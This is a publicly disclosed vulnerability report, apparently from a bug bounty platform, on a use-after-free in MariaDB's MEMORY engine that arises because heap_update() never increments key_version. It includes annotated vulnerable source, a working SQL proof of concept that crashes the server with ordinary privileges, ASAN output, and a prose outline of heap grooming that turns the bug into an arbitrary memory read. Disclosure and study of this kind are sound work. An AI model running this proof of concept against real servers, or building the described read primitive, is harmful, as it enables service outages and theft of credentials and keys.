HexBrain

MariaDB · Report #3771144

Use-After-Free in BTREE Index Traversal via Stale key_version in heap_update() in MariaDB Server

Validstatus
12upvotes
14 Sept 2026disclosed

How it was found

Description:

A use-after-free vulnerability exists in MariaDB's MEMORY (HEAP) storage engine. The local variable key_changed in heap_update() (storage/heap/hp_update.c) is declared and initialized to 0 but is never set to 1 anywhere in the function body. This makes the if (key_changed) share->key_version++ guard dead code. After an UPDATE modifies a column covered by a BTREE index on a MEMORY table, tree_delete() frees TREE_ELEMENT nodes, but because key_version is never incremented, HANDLER cursors still believe their cached parent-path pointers are valid. A subsequent HANDLER READ idx NEXT causes tree_search_next() to dereference freed TREE_ELEMENT pointers — a use-after-free.

With heap grooming, an attacker reclaims the freed TREE_ELEMENT chunks with crafted BTREE nodes from a second MEMORY table whose key bytes encode an arbitrary target address. tree_search_next() returns a pointer into the forged node, and heap_rnext() then loads the attacker-supplied address as the record pointer and memcpys up to share->reclength bytes from that address into the row buffer returned to the client — an arbitrary memory read primitive.

The bug was introduced in commit 5788294fa365a0f23ee1cd7e12a444cf794ba6bc (2011-01-11) which added HANDLER support for MEMORY tables along with key and file version numbers. Notably, hp_delete.c and hp_write.c in the same commit correctly increment share->key_version unconditionally, but hp_update.c omits this increment.

The vulnerable code in storage/heap/hp_update.c lines 20-66:

int heap_update(HP_INFO *info, const uchar *old, const uchar *heap_new)
{
  HP_KEYDEF *keydef, *end, *p_lastinx;
  uchar *pos, *recovery_ptr;
  my_bool auto_key_changed= 0, key_changed= 0;  // <-- never set to 1
  HP_SHARE *share= info->s;
  // ...
  for (keydef= share->keydef, end= keydef + share->keys; keydef < end; keydef++)
  {
    if (hp_rec_key_cmp(keydef, old, heap_new))
    {
      if ((*keydef->delete_key)(info, keydef, old, pos, keydef == p_lastinx) ||
          (*keydef->write_key)(info, keydef, heap_new, pos))
        goto err;
      // NOTE: key_changed = 1; is MISSING HERE
    }
  }
  // ...
  if (key_changed)        // <-- dead code: key_changed is always 0
    share->key_version++;  // NEVER EXECUTES

The stale pointer dereference in storage/heap/hp_rnext.c lines 49-97:

    else if (info->last_pos && info->key_version == info->s->key_version)
    {
      pos = tree_search_next(&keyinfo->rb_tree, &info->last_pos,
                             offsetof(TREE_ELEMENT, left),
                             offsetof(TREE_ELEMENT, right));  // <-- UAF dereference
    }
    // ...
    if (pos)
    {
      memcpy(&pos, pos + (*keyinfo->get_key_length)(keyinfo, pos),
             sizeof(uchar*));               // <-- attacker-controlled record ptr
      info->current_ptr = pos;
    }
    // ...
    memcpy(record, pos, (size_t) share->reclength);  // <-- arbitrary read

Reproduction Steps:

The exploit requires only a single connection with standard privileges (SELECT, INSERT, UPDATE, CREATE TABLE). No special configuration is needed; MEMORY tables with BTREE indexes are a standard MariaDB feature.

-- Single connection, standard privileges only
CREATE TABLE poc (
    k INT,
    pad VARCHAR(200),
    INDEX idx USING BTREE (k)
) ENGINE=MEMORY;

INSERT INTO poc (k, pad) VALUES
  (10,'a'),(20,'b'),(30,'c'),(40,'d'),(50,'e'),
  (60,'f'),(70,'g'),(80,'h'),(90,'i'),(100,'j'),
  (110,'k'),(120,'l'),(130,'m'),(140,'n'),(150,'o'),
  (160,'p'),(170,'q'),(180,'r'),(190,'s'),(200,'t');

HANDLER poc OPEN;

-- Snapshot key_version, fill parents[] with TREE_ELEMENT* pointers
HANDLER poc READ idx FIRST;
HANDLER poc READ idx NEXT;
HANDLER poc READ idx NEXT;
HANDLER poc READ idx NEXT;
HANDLER poc READ idx NEXT;

-- heap_update() frees TREE_ELEMENT nodes but does NOT bump key_version
UPDATE poc SET k = k + 5000 WHERE k BETWEEN 20 AND 180;

-- tree_search_next() dereferences freed TREE_ELEMENT* pointers (use-after-free)
HANDLER poc READ idx NEXT;

On an ASAN build this aborts immediately with a heap-use-after-free report (see below). On a release build the outcome depends on allocator state: the server may crash, return a corrupted row, or appear to continue normally if the freed chunk was reclaimed by a valid node.

AddressSanitizer output (13.0.1-MariaDB-asan, commit 3a2f8e27981b):

==50410==ERROR: AddressSanitizer: heap-use-after-free on address 0x506000052360 ...
READ of size 8 at 0x506000052360 thread T13
    #0 0x56019d7ad5f5 in tree_search_next mysys/tree.c:501
    #1 0x56019d06df94 in heap_rnext storage/heap/hp_rnext.c:56
    #2 0x56019c5aa751 in handler::ha_index_next(unsigned char*) sql/handler.cc:4195
    #3 0x56019bb1a779 in mysql_ha_read(...) sql/sql_handler.cc:903
    ...

0x506000052360 is located 32 bytes inside of 64-byte region [0x506000052340,0x506000052380)
freed by thread T13 here:
    #0 0x7f6f782a34d8 in free
    #1 0x56019d7ac0c7 in tree_delete mysys/tree.c:372
    #2 0x56019d06478d in hp_rb_delete_key storage/heap/hp_delete.c:81
    #3 0x56019d06f400 in heap_update storage/heap/hp_update.c:47
    #4 0x56019d0607ab in ha_heap::update_row(...) storage/heap/ha_heap.cc:313
    ...

previously allocated by thread T13 here:
    #0 0x7f6f782a49c7 in malloc
    #1 0x56019d797fe7 in my_malloc mysys/my_malloc.c:93
    #2 0x56019d7ab814 in tree_insert mysys/tree.c:278
    #3 0x56019d070799 in hp_rb_write_key storage/heap/hp_write.c:121
    #4 0x56019d06fcdd in heap_write storage/heap/hp_write.c:52
    ...

SUMMARY: AddressSanitizer: heap-use-after-free mysys/tree.c:501 in tree_search_next

Impact

Any authenticated user with SELECT, INSERT, UPDATE, and CREATE TABLE privileges on any database can exploit this over a single connection to crash the server. By reclaiming the freed TREE_ELEMENT with a crafted BTREE node, the attacker further controls the record pointer dereferenced by heap_rnext() and receives bytes from an arbitrary address in the result row. This exposes all process memory (other databases, credentials, TLS keys). Where a starting address is known, whether because the binary was built without PIE, the platform lacks ASLR, or a separate disclosure provides one, the primitive can walk pointer chains across the entire address space, serving as a building block for remote code execution when combined with a write primitive.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original